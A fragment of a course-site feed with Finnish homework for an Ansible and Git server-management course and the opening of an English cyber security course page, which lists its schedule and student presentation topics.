&lt;ul&gt;
&lt;li&gt;Weppipalvelin pyörinee käyttäjänä www-data, ryhmä www-data. Jos tiedoston omistaa tero:tero, niin www-data on others eli viimeiset kolme kirjainta.&lt;/li&gt;
&lt;li&gt;Jotta se näkee sivut, kansioihin pitää olla x-oikeus ja tiedostoihin r.&lt;/li&gt;
&lt;li&gt;/home/tero/publicsite/index.html
&lt;ul&gt;
&lt;li&gt;chmod ugo+x /home/tero/&lt;/li&gt;
&lt;li&gt;chmod ugo+x /home/tero/publicsite/&lt;/li&gt;
&lt;li&gt;chmod ugo+r /home/tero/publicsite/index.html&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Tarkista oikeudet &#39;ls -t&#39; ja &#39;stat&#39;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;h4-pizza-fantasia&quot;&gt;h4 Pizza Fantasia &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#h4-pizza-fantasia&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;x) Lue ja tiivistä. (Tässä x-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen tai kuunteleminen ja tiivistelmä riittää. Tiivistämiseen riittää muutama ranskalainen viiva. Ei siis vaadita pitkää eikä essee-muotoista tiivistelmää. Lisää kuhunkin jokin oma kysymys tai huomio.)
&lt;ul&gt;
&lt;li&gt;Karvinen 2023: &lt;a href=&quot;https://westminsterresearch.westminster.ac.uk/item/w7vvz/configuration-management-of-distributed-systems-over-unreliable-and-hostile-networks&quot;&gt;Configuration Management of Distributed Systems over Unreliable and Hostile Networks&lt;/a&gt; (&lt;a href=&quot;https://westminsterresearch.westminster.ac.uk/download/4cc417566aa9af60fe3826d690719e390abdb7a3c8672f3d51b1eb4ca75e7624/1427236/karvinen-2023-configuration-management-of-distributed-systems.pdf&quot;&gt;pdf&lt;/a&gt;, ̣mirrors: &lt;a href=&quot;https://terokarvinen.com/palvelinten-hallinta/Karvinen-2023-Configuration-Management-of-Distributed-Systems-over-Unreliable-and-Hostile-Networks.pdf&quot;&gt;local&lt;/a&gt;, &lt;a href=&quot;https://scholar.archive.org/work/3vyjt2wj2ndp5egy72xkudeeey/access/wayback/https%3A%2F%2Fwestminsterresearch.westminster.ac.uk%2Fdownload%2F4cc417566aa9af60fe3826d690719e390abdb7a3c8672f3d51b1eb4ca75e7624%2F1427236%2Fkarvinen-2023-configuration-management-of-distributed-systems.pdf&quot;&gt;archive.org&lt;/a&gt;), vain nämä kohdat:
&lt;ul&gt;
&lt;li&gt;4.12.1 Size and Complexity of Some DSLs (112. Ominaisuuksien määrä.)&lt;/li&gt;
&lt;li&gt;4.12.2 Use of DSL Functions in Case Configuration (112-115. Mitä oikeasti käytetään.)&lt;/li&gt;
&lt;li&gt;4.12.3.1 Dependencies Between Main Functions (115-117. Tärkeimmät rakennuspalikat.)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;a) Räpylä. Asenna itse valitsemasi demoni käsin. Jokin muu kuin tunnilla tai kotitehtävissä aiemmin asennettu, eli ei apache, ngninx eikä openssh-server. Kuten aina, testaa lopputulos.&lt;/li&gt;
&lt;li&gt;b) Automaatti. Automatisoi valitsemasi demonin asennus Ansiblella.&lt;/li&gt;
&lt;li&gt;c) Asetus. Muuta asetustiedostoa herralla (master, &quot;control node&quot;) ja aja ansible uudestaan. Osoita, että asetukset tulivat käyttöön.&lt;/li&gt;
&lt;li&gt;d) Paikka remonttiin. Riko jotain asetuksia. Voit esimerkiksi poistaa demonin &#39;sudo apt-get purge foobar&#39; (purge poistaa myös asetustiedostoja), poistaa asennuksen yhteydessä tulevan kansion (sudo rm -r /etc/foobar/ # vaarallista) tms. Ja sitten ajaa ansible-roolisi uudestaan ja todeta, että se korjaa tilanteen.&lt;/li&gt;
&lt;li&gt;e) Idempotentti. Osoita, että tilasi on idempotentti.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Vinkit&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;CM: configuration management&lt;/li&gt;
&lt;li&gt;DSL: domain specific language. Yhteen käyttötarkoitukseen tehty kieli. Esim Ansiblen oma kieli, jolla määrittelemme konfiguraatiota.&lt;/li&gt;
&lt;li&gt;Kannattaa valita demoni, joka löytyy suoraan Debian 13 varastoista apt-get:lla.&lt;/li&gt;
&lt;li&gt;Esimerkkejä: postgresql, caddy, mariadb, haproxy, varnish&lt;/li&gt;
&lt;li&gt;Nämä voivat olla mutkikkaampia: samba, nfs, jokin ftp-palvelin, jokin vaihtoehtoinen ssh, jokin dhcpd, jokin tftpd&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;h5-gitar-hero&quot;&gt;h5 Gitar Hero &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#h5-gitar-hero&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Oman miniprojektin aihetta kannattaa jo haudutella. Ensimmäiset julkaissevat jo parin kanssa tehdyn ensimmäisen version.&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;x) Lue ja tiivistä. (Tässä x-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen tai kuunteleminen ja tiivistelmä riittää. Tiivistämiseen riittää muutama ranskalainen viiva. Kannattaa lisätä mukaan myös jokin oma havainto, idea tai kysymys.)
&lt;ul&gt;
&lt;li&gt;Chacon and Straub 2014: &lt;a href=&quot;https://git-scm.com/book/en/v2&quot;&gt;Pro Git, 2ed&lt;/a&gt;: &lt;a href=&quot;https://git-scm.com/book/en/v2/Getting-Started-What-is-Git%3F&quot;&gt;1.3 Getting Started - What is Git?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Gitin käyttö on lähinnä &#39;git add --all &amp;amp;&amp;amp; git commit; git pull &amp;amp;&amp;amp; git push&#39;. Selitä tuon komennon jokainen osa. Käytä apuna itse valitsemiasi lähteitä ja viittaa niihin.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;a) Online. Tee uusi varasto GitHubiin (tai Gitlabiin tai mihin vain vastaavaan palveluun). Varaston nimessä ja lyhyessä kuvauksessa tulee olla sana &quot;sunshine&quot;. Aiemmin tehty varasto ei kelpaa. (Muista tehdä varastoon tiedostoja luomisvaiheessa, esim README.md ja GNU General Public License 3) Edistyneemmille voi olla hauskaa etsiä ja kokeilla jokin muu palvelu kuin Github.&lt;/li&gt;
&lt;li&gt;b) Dolly. Kloonaa edellisessä kohdassa tehty uusi varasto itsellesi, tee muutoksia omalla koneella, puske ne palvelimelle, ja näytä, että ne ilmestyvät weppiliittymään.&lt;/li&gt;
&lt;li&gt;c) Doh! Tee tyhmä muutos gittiin, älä tee commit:tia. Tuhoa huonot muutokset ‘git reset --hard’. Huomaa, että tässä toiminnossa ei ole peruutusnappia.&lt;/li&gt;
&lt;li&gt;d) Tukki. Tarkastele ja selitä varastosi lokia. Näytä myös, mitä muutoksia tiedostoihin on tehty. Tarkista, että nimesi ja sähköpostiosoitteesi näkyy haluamallasi tavalla ja korjaa tarvittaessa.&lt;/li&gt;
&lt;li&gt;e) Gitanbile. Laita Ansible-kansio versionhallintaan. Tee jokin muutos, aja ansiblella, tallenna versio (commit).&lt;/li&gt;
&lt;li&gt;f) Hae pari projektiin Moodlen keskustelusta. (Tästä alakohdasta f ei tarvitse tehdä vaiheittaista teknistä raporttia, riittää kun toteat, että pari on hankittu.)&lt;/li&gt;
&lt;li&gt;g) Vapaaehtoinen: Se toinen järjestelmä: kokeile Gittiä eri käyttöjärjestelmällä kuin sillä, millä teit muut harjoitukset. Selitä niin, että kyseistä järjestelmää osaamatonkin onnistuu. Mahdollisuuksia on runsaasti: Debian, Fedora, Windows, OSX...&lt;/li&gt;
&lt;li&gt;h) Vapaaehtoinen: yhteistyötä: anna kaverillesi (tai alter egollesi) oikeus kirjoittaa varastoosi (commit access). Tehkää molemmat muutoksia varastoon gitillä.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Vinkkejä&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Kannattaa käyttää SSH-osoitetta varastoa kloonatessa, kirjautuminen julkisella ssh-avaimella&lt;/li&gt;
&lt;li&gt;ssh-keygen (enter, enter, enter), cat $HOME/.ssh/id*.pub, Github: Settings: SSH keys... Vain julkisen avaimen - sen mikä päättyy .pub - saa julkaista ja tallettaa Githubiin.&lt;/li&gt;
&lt;li&gt;Github-varaston sivulta Code: SSH. git clone https://github.com/hattupuu/earplotter.git ; cd earplotter&lt;/li&gt;
&lt;li&gt;git pull&lt;/li&gt;
&lt;li&gt;git add --all &amp;amp;&amp;amp; git commit; git pull &amp;amp;&amp;amp; git push&lt;/li&gt;
&lt;li&gt;git log --patch&lt;/li&gt;
&lt;li&gt;git config --global user.email &quot;tonystudent@example.com&quot;&lt;/li&gt;
&lt;li&gt;git config --global user.name &quot;Tony Student&quot;&lt;/li&gt;
&lt;li&gt;Commit message
&lt;ul&gt;
&lt;li&gt;Miksi? Miksi tämä commit on tehty? (Ne tiedostot ja muutokset näkyvät joka tapauksessa &#39;git log --patch&#39;, joten commit messagen kannattaa kertoa se syy: miksi, why?&lt;/li&gt;
&lt;li&gt;Yksi englanninkielinen virke määräysmuodossa ja nykyajassa: &quot;Add reverse thurst estimation to main view&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;GitHub-varastoon kannattaa tehdä tiedostoja luomisvaiheessa, suosittelen tekemään README.md ja vapaista lisensseistä itse tykkään GPLv3 eli GNU General Public License, version 3. Oman työsi lisenssin saat itse valita.&lt;/li&gt;
&lt;li&gt;Karvinen 2021: &lt;a href=&quot;https://terokarvinen.com/2021/install-debian-on-virtualbox/&quot;&gt;Install Debian on VirtualBox&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Microsoft 2023: &lt;a href=&quot;https://developer.microsoft.com/en-us/windows/downloads/virtual-machines/&quot;&gt;Get a Windows 11 development environment&lt;/a&gt;: Download a virtual machine: &lt;a href=&quot;https://aka.ms/windev_VM_virtualbox&quot;&gt;VirtualBox&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Jos menet olemassaolevaan projektiin (työpaikalla, open source)... opiskele projektin käytännöt ja käytä niitä&lt;/li&gt;
&lt;li&gt;https://github.com/terokarvinen/suolax Salt-tiloja, jotka voi ajaa suoraan salt-varastosta&lt;/li&gt;
&lt;li&gt;Git asennuspaketit Windowsille ja Macille https://git-scm.com/downloads&lt;/li&gt;
&lt;li&gt;Macilla &#39;brew&#39; saattaa olla myös kätevä työkalu Gitin asentamiseen&lt;/li&gt;
&lt;li&gt;Linuxille Git asentuu helpoimmin paketinhallinnasta: &#39;sudo apt-get update; sudo apt-get -y install git&#39;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;h6-miniprojekti&quot;&gt;h6 Miniprojekti &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#h6-miniprojekti&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Loppuhuipennus: projektit esitellään kurssin lopussa. Saat soveltaa uusia taitojasi!&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Pääset harjoittelemaan teknistä esittämistä huolettomassa ympäristössä omien luokkakavereiden kanssa. Saat myös esittää kysymyksiä, ideoita ja kommentteja kavereiden töihin. Ja samalla näet, mitä muut ovat rakentaneet.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Arvon esitysjärjestyksen ja ilmoitan sen esitysten alussa. Kaikkien projektien tulee olla esitysvalmiina 2026-05-05 w19 tiistaina (ja torstain ryhmällä päivää myöhemmin ke).&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;a) Oma miniprojekti.
&lt;ul&gt;
&lt;li&gt;Modernia keskitettyä hallintaa: idempotentti, infra koodina, yksi totuus&lt;/li&gt;
&lt;li&gt;Idempotentti
&lt;ul&gt;
&lt;li&gt;Pelkkä skritpi (shell script) ei kelpaa, ei myöskään skripti jaettuna kymmeneen peräkkäiseen cmd.run-tilaan&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Kannattaa testata lopputulos tyhjällä koneella
&lt;ul&gt;
&lt;li&gt;Vapaaehtoista: Jos videoit ruudulta samalla, sinulla on räjähtävien demojen tai tulevien kurssin ulkopuolisten esitysten varalta aina toimiva esitys. Jos laitat videon Youtubeen tai kotisivullesi, sinulla on valmis esitys käytettäväksi myös kurssin jälkeen. Vaikka live-demo on parempi kuin video, parasta on live-demo ja varalla video.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Ensin valmista, sitten hienoa.
&lt;ul&gt;
&lt;li&gt;Tee ensin pieni, toimiva kokonaisuus, jonka voisit hätätilassa esittää.&lt;/li&gt;
&lt;li&gt;Tallenna pieni kokonaisuutesi toimivana esim. kopioimalla kansio&lt;/li&gt;
&lt;li&gt;Tee sitten tämän toimivan päälle hienot jutut, seuraavat vaiheet ja kurottelumaalit.&lt;/li&gt;
&lt;li&gt;Kannattaa aloittaa ajoissa ja tehdä joka päivä&lt;/li&gt;
&lt;li&gt;Kaikki tai &lt;del&gt;ei mitään&lt;/del&gt; jotain&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;b) Etusivu. Laita projektisi etusivulle tärkeimmät tiedot
&lt;ul&gt;
&lt;li&gt;Etusivu voi olla esimerkiksi Github-varasto ja tiedot README.md:ssä&lt;/li&gt;
&lt;li&gt;Yritä laittaa keskeisimmät kohdat &quot;taitoksen yläpuolelle&quot;, eli näkymään jo ennen skrollausta&lt;/li&gt;
&lt;li&gt;Tavoitteena on, että lukija ymmärtää välittömästi ja yhdellä silmäyksellä projektin tarkoituksen (ruutukaappaus + kuvaus)&lt;/li&gt;
&lt;li&gt;Tiedot
&lt;ul&gt;
&lt;li&gt;Projektin tarkoitus, mieluiten yhdellä lyhyellä virkkeellä. Eli mitä tämä tekee / mihin tätä käytetään / mitä hyötyä tästä on / business purpose.&lt;/li&gt;
&lt;li&gt;Lisenssi. Saat valita, suosittelen GNU General Public License, version 3.&lt;/li&gt;
&lt;li&gt;Ruutukaappaus lopputuloksesta&lt;/li&gt;
&lt;li&gt;Oma nimesi ja mahdollinen kotisivun osoite (Saa toki käyttää myös nimimerkkiä)&lt;/li&gt;
&lt;li&gt;Latauslinkki (Githubissa asennusohje voi toki olla myös &#39;git clone ...&#39;)&lt;/li&gt;
&lt;li&gt;Käyttöönotto. Miten kuka tahansa sivulle tulija voi ilman muita ohjeita ajaa projektisi.&lt;/li&gt;
&lt;li&gt;Voit kirjoittaa suomeksi tai englanniksi; usein ohjelmat dokumentoidaan englanniksi&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;c) Showtime! Valmistaudu pitämään max 7 min esitys projektistasi.
&lt;ul&gt;
&lt;li&gt;Yleisö: kurssin muut opiskelijat
&lt;ul&gt;
&lt;li&gt;Kuulija yleensä miettii aluksi, mitä hyötyä tähän esitykseen keskittymisestä on minulle.&lt;/li&gt;
&lt;li&gt;Ymmärtääkö kuulija, mitä lopputulos tekee?&lt;/li&gt;
&lt;li&gt;Kun hyöty on selvillä, kuulija halunnee oppia tekemään saman&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Tarkoitus ja lopputulos ensin
&lt;ul&gt;
&lt;li&gt;Hovimestari on syyllinen.&lt;/li&gt;
&lt;li&gt;Yleisö kuuntelee, kun tietää, mitä hyötyä tästä on&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Esittele itsesi
&lt;ul&gt;
&lt;li&gt;Monissa esityksessi oman nimen ja organisaation esittely on tärkein oma hyöty&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Demo ois kiva
&lt;ul&gt;
&lt;li&gt;Kannattaa laittaa demo pyörimään heti, kun projektin tarkoitus ja oma nimi on selvillä&lt;/li&gt;
&lt;li&gt;Salt-ajot vievät usein aikaa, jota ei kannata käyttää odotteluun vaan puhumiseen&lt;/li&gt;
&lt;li&gt;Kerro kaikki kerrottava sillä aikaa kun salt raksuttaa&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Kokeile välineet
&lt;ul&gt;
&lt;li&gt;Jitsi-kanavalle pääsee milloin vain&lt;/li&gt;
&lt;li&gt;Ruudunjako, kamera, mikki&lt;/li&gt;
&lt;li&gt;Jos haluat kaksi asiakasta, niin 2 tietokonetta tai tietokone ja kännykkä&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Tästä c-alakohdasta ei tarvitse tehdä raporttia.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Vinkit&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Katso vanhoja projekteja
&lt;ul&gt;
&lt;li&gt;Kurssisivujen kommenteista&lt;/li&gt;
&lt;li&gt;Hakukoneista&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Tervetuloa esiintymään!&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Huomaa myös vapaaehtoinen h8.&lt;/em&gt;&lt;/p&gt;
&lt;h3 id=&quot;h8-bonus&quot;&gt;h8 Bonus &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#h8-bonus&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Vapaaehtoinen bonus: luettele ja linkitä tähän tekemäsi&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;a) Vapaaehtoiset tehtävät&lt;/li&gt;
&lt;li&gt;b) Ristiinarvioinnin jälkeen olennaisesti parannetut tehtävät&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Tehtävän h8 määräaika on kurssin 24 h ennen viimeisen oppitunnin alkuao. Tämä bonustehtävä on kokonaan vapaaehtoinen.&lt;/p&gt;
&lt;h2 id=&quot;adminstrivia&quot;&gt;Adminstrivia &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#adminstrivia&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Sudo logo my Mark Stillman 2019, received under CC-BY-4.0.&lt;/p&gt;
&lt;p&gt;Apache httpd logo is a trademark of The Apache Software Foundation.&lt;/p&gt;
</content>
  </entry>

  <entry>
    <title>Cyber Security - 2026 late autumn </title>
    <link href="https://terokarvinen.com/cyber-security/"/>
    <id>https://terokarvinen.com/cyber-security/</id>
    <published>2026-10-20T07:31:00Z</published>
    <updated>2026-10-20T07:31:00Z</updated>
    <content type="html">&lt;p&gt;Learn cyber security. Link birds-eye view to hands-on.&lt;/p&gt;
&lt;p&gt;Master&#39;s level course.&lt;/p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;/th&gt;&lt;th&gt;&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Course name and code&lt;/td&gt;&lt;td&gt;Cyber Security - &lt;a href=&quot;https://opinto-opas.haaga-helia.fi/course_unit/ICB705AS3YE&quot;&gt;ICB705AS3YE&lt;/a&gt;-2 &lt;a href=&quot;https://opinto-opas.haaga-helia.fi/course_unit/ICB705AS3YE&quot;&gt;(study guide)&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Timing&lt;/td&gt;&lt;td&gt;2026 &lt;strong&gt;period 2&lt;/strong&gt; late autumn, w43-w50&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;ECTS Credits&lt;/td&gt;&lt;td&gt;5 credits&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Degree programme&lt;/td&gt;&lt;td&gt;LITEM Degree Programme in Business Technologies (&lt;strong&gt;master&#39;s&lt;/strong&gt; level)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Classes&lt;/td&gt;&lt;td&gt;One evening a week, online, mandatory participation&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Max students&lt;/td&gt;&lt;td&gt;60&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Language&lt;/td&gt;&lt;td&gt;English&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Remote&lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Feedback&lt;/td&gt;&lt;td&gt;4.5 / 5 Excellent. Replaces my &quot;Trust to Blockchain&quot;, which has reached 4.9 / 5.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Services&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://hhmoodle.haaga-helia.fi/course/view.php?id=49870&quot;&gt;Moodle: Cyber Security&lt;/a&gt;, Zoom, &lt;a href=&quot;https://app.terokarvinen.com&quot;&gt;Laksu&lt;/a&gt;. Voluntary extra: &lt;a href=&quot;https://terokarvinen.com/newsletter/&quot;&gt;Tero&#39;s list&lt;/a&gt;.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;First class&lt;/td&gt;&lt;td&gt;2026-10-21 w43 Wed 17:40. Zoom video conference, teacher emails link to participants.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;figure class=&quot;right&quot;&gt;
&lt;picture&gt;
&lt;source type=&quot;image/avif&quot; srcset=&quot;https://terokarvinen.com/cyber-security/cryptoming-rig-miko-hirvela-2022.w480.he0a8d92d.avif 480w, https://terokarvinen.com/cyber-security/cryptoming-rig-miko-hirvela-2022.w800.he0a8d92d.avif 800w, https://terokarvinen.com/cyber-security/cryptoming-rig-miko-hirvela-2022.w1200.he0a8d92d.avif 1200w, https://terokarvinen.com/cyber-security/cryptoming-rig-miko-hirvela-2022.w1600.he0a8d92d.avif 1600w, https://terokarvinen.com/cyber-security/cryptoming-rig-miko-hirvela-2022.w1924.he0a8d92d.avif 1924w&quot; sizes=&quot;(max-width: 30em) 100vw, 25em&quot;&gt;
&lt;img src=&quot;https://terokarvinen.com/cyber-security/cryptoming-rig-miko-hirvela-2022.w800.he0a8d92d.jpg&quot; srcset=&quot;https://terokarvinen.com/cyber-security/cryptoming-rig-miko-hirvela-2022.w800.he0a8d92d.jpg 800w, https://terokarvinen.com/cyber-security/cryptoming-rig-miko-hirvela-2022.w1600.he0a8d92d.jpg 1600w&quot; sizes=&quot;(max-width: 30em) 100vw, 25em&quot; width=&quot;800&quot; height=&quot;743&quot; alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;
&lt;/picture&gt;
&lt;/figure&gt;

&lt;p&gt;This is a master&#39;s level course. You can only enroll if you&#39;re studying master&#39;s degree (YAMK).&lt;/p&gt;
&lt;h2 id=&quot;learning-objectives&quot;&gt;Learning objectives &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/cyber-security/#learning-objectives&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/cyber-security/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;In this course, you will&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Get an overview of cyber security&lt;/li&gt;
&lt;li&gt;Use threat modeling to identify and priorize key risks for your own organization&lt;/li&gt;
&lt;li&gt;Try some aspects of security with simple hands on exercises
&lt;ul&gt;
&lt;li&gt;Linking theory to practice&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;agenda&quot;&gt;Agenda &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/cyber-security/#agenda&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/cyber-security/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;h3 id=&quot;1-threat-modeling-2026-10-21-w43-wed-1740&quot;&gt;1. Threat  modeling -- 2026-10-21 w43 Wed  1740 &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/cyber-security/#1-threat-modeling-2026-10-21-w43-wed-1740&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/cyber-security/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;h3 id=&quot;2-overview-of-current-security-scene-2026-10-28-w44-wed-1740&quot;&gt;2. Overview of current security scene -- 2026-10-28 w44 Wed  1740 &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/cyber-security/#2-overview-of-current-security-scene-2026-10-28-w44-wed-1740&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/cyber-security/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Tero Lampiluoto, CISO, Fiskars: First months of CISO - my experiences (x2) and advice.&lt;/li&gt;
&lt;li&gt;Joni: PHP2Shell, What happens when foundation of the web is vullnerable?&lt;/li&gt;
&lt;li&gt;Mia: Cybersecurity in Finnish Social and Healthcare Services: Current Threats, Patient Safety and Preparedness.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;3-cyber-labs-2026-11-04-w45-wed-1740&quot;&gt;3. Cyber labs -- 2026-11-04 w45 Wed  1740 &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/cyber-security/#3-cyber-labs-2026-11-04-w45-wed-1740&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/cyber-security/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Marco: &lt;a href=&quot;https://marcobrandt.github.io/Linux-Course/hospital-cybersecurity.html#s1&quot;&gt;Cybersecurity in Hospitals&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Abrar: Defense to Pay or Play-Ransomware.&lt;/li&gt;
&lt;li&gt;Carlito: &lt;a href=&quot;https://github.com/supremo102878/cyber-security/blob/main/OSINT.pdf&quot;&gt;OSINT  - The Discipline of Seeing What Is Already Public&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;4-encryption-and-key-management-2026-11-11-w46-wed-1740&quot;&gt;4. Encryption and key management -- 2026-11-11 w46 Wed  1740 &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/cyber-security/#4-encryption-and-key-management-2026-11-11-w46-wed-1740&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/cyber-security/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Luise: Cost of a lost key: Managing Regulatory and Financial Risks in Data Protection.&lt;/li&gt;
&lt;li&gt;Miro: &lt;a href=&quot;https://github.com/mirosec/cyber-security/blob/main/h-presentation.md&quot;&gt;Case eMudhra - Failure in key management&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Riku: Post-Quantum Cryptography&lt;/li&gt;
&lt;li&gt;Lauri: Where does SAP keep its keys? Encryption and key management in SAP HANA&lt;/li&gt;
&lt;li&gt;Jukka: The Illusion of Security&lt;/li&gt;
&lt;/ul&gt;
